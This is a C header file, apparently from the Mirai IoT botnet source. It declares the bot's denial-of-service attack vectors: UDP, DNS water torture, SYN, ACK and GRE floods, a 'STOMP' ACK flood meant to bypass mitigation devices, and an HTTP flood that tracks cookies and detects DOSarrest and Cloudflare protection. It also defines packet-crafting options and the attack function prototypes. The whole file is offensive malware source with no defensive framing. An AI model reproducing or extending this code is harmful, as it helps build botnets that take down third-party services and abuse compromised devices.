171 lines
6.6 KiB
C
Executable File
171 lines
6.6 KiB
C
Executable File
#pragma once
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#include <time.h>
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#include <arpa/inet.h>
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#include <linux/ip.h>
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#include <linux/udp.h>
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#include <linux/tcp.h>
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#include "includes.h"
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#include "protocol.h"
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#define ATTACK_CONCURRENT_MAX 8
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#ifdef DEBUG
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#define HTTP_CONNECTION_MAX 1000
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#else
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#define HTTP_CONNECTION_MAX 256
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#endif
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struct attack_target {
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struct sockaddr_in sock_addr;
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ipv4_t addr;
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uint8_t netmask;
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};
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struct attack_option {
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char *val;
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uint8_t key;
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};
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typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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typedef uint8_t ATTACK_VECTOR;
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#define ATK_VEC_UDP 0 /* Straight up UDP flood */
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#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
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#define ATK_VEC_DNS 2 /* DNS water torture */
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#define ATK_VEC_SYN 3 /* SYN flood with options */
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#define ATK_VEC_ACK 4 /* ACK flood */
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#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */
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#define ATK_VEC_GREIP 6 /* GRE IP flood */
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#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */
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//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
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#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
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#define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
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#define ATK_OPT_PAYLOAD_SIZE 0 // What should the size of the packet data be?
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#define ATK_OPT_PAYLOAD_RAND 1 // Should we randomize the packet data contents?
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#define ATK_OPT_IP_TOS 2 // tos field in IP header
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#define ATK_OPT_IP_IDENT 3 // ident field in IP header
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#define ATK_OPT_IP_TTL 4 // ttl field in IP header
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#define ATK_OPT_IP_DF 5 // Dont-Fragment bit set
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#define ATK_OPT_SPORT 6 // Should we force a source port? (0 = random)
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#define ATK_OPT_DPORT 7 // Should we force a dest port? (0 = random)
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#define ATK_OPT_DOMAIN 8 // Domain name for DNS attack
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#define ATK_OPT_DNS_HDR_ID 9 // Domain name header ID
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//#define ATK_OPT_TCPCC 10 // TCP congestion control
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#define ATK_OPT_URG 11 // TCP URG header flag
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#define ATK_OPT_ACK 12 // TCP ACK header flag
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#define ATK_OPT_PSH 13 // TCP PSH header flag
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#define ATK_OPT_RST 14 // TCP RST header flag
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#define ATK_OPT_SYN 15 // TCP SYN header flag
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#define ATK_OPT_FIN 16 // TCP FIN header flag
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#define ATK_OPT_SEQRND 17 // Should we force the sequence number? (TCP only)
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#define ATK_OPT_ACKRND 18 // Should we force the ack number? (TCP only)
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#define ATK_OPT_GRE_CONSTIP 19 // Should the encapsulated destination address be the same as the target?
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#define ATK_OPT_METHOD 20 // Method for HTTP flood
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#define ATK_OPT_POST_DATA 21 // Any data to be posted with HTTP flood
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#define ATK_OPT_PATH 22 // The path for the HTTP flood
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#define ATK_OPT_HTTPS 23 // Is this URL SSL/HTTPS?
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#define ATK_OPT_CONNS 24 // Number of sockets to use
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#define ATK_OPT_SOURCE 25 // Source IP
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struct attack_method {
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ATTACK_FUNC func;
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ATTACK_VECTOR vector;
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};
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struct attack_stomp_data {
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ipv4_t addr;
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uint32_t seq, ack_seq;
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port_t sport, dport;
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};
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#define HTTP_CONN_INIT 0 // Inital state
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#define HTTP_CONN_RESTART 1 // Scheduled to restart connection next spin
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#define HTTP_CONN_CONNECTING 2 // Waiting for it to connect
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#define HTTP_CONN_HTTPS_STUFF 3 // Handle any needed HTTPS stuff such as negotiation
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#define HTTP_CONN_SEND 4 // Sending HTTP request
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#define HTTP_CONN_SEND_HEADERS 5 // Send HTTP headers
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#define HTTP_CONN_RECV_HEADER 6 // Get HTTP headers and check for things like location or cookies etc
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#define HTTP_CONN_RECV_BODY 7 // Get HTTP body and check for cf iaua mode
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#define HTTP_CONN_SEND_JUNK 8 // Send as much data as possible
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#define HTTP_CONN_SNDBUF_WAIT 9 // Wait for socket to be available to be written to
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#define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data.
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#define HTTP_CONN_CLOSED 11 // Close connection and move on
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#define HTTP_RDBUF_SIZE 1024
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#define HTTP_HACK_DRAIN 64
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#define HTTP_PATH_MAX 256
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#define HTTP_DOMAIN_MAX 128
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#define HTTP_COOKIE_MAX 5 // no more then 5 tracked cookies
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#define HTTP_COOKIE_LEN_MAX 128 // max cookie len
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#define HTTP_POST_MAX 512 // max post data len
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#define HTTP_PROT_DOSARREST 1 // Server: DOSarrest
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#define HTTP_PROT_CLOUDFLARE 2 // Server: cloudflare-nginx
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struct attack_http_state {
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int fd;
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uint8_t state;
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int last_recv;
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int last_send;
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ipv4_t dst_addr;
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char user_agent[512];
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char path[HTTP_PATH_MAX + 1];
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char domain[HTTP_DOMAIN_MAX + 1];
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char postdata[HTTP_POST_MAX + 1];
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char method[9];
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char orig_method[9];
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int protection_type;
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int keepalive;
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int chunked;
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int content_length;
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int num_cookies;
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char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX];
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int rdbuf_pos;
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char rdbuf[HTTP_RDBUF_SIZE];
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};
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struct attack_cfnull_state {
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int fd;
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uint8_t state;
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int last_recv;
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int last_send;
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ipv4_t dst_addr;
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char user_agent[512];
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char domain[HTTP_DOMAIN_MAX + 1];
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int to_send;
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};
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BOOL attack_init(void);
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void attack_kill_all(void);
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void attack_parse(char *, int);
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void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *);
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int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int);
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uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t);
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/* Actual attacks */
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void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
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static void add_attack(ATTACK_VECTOR, ATTACK_FUNC);
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static void free_opts(struct attack_option *, int);
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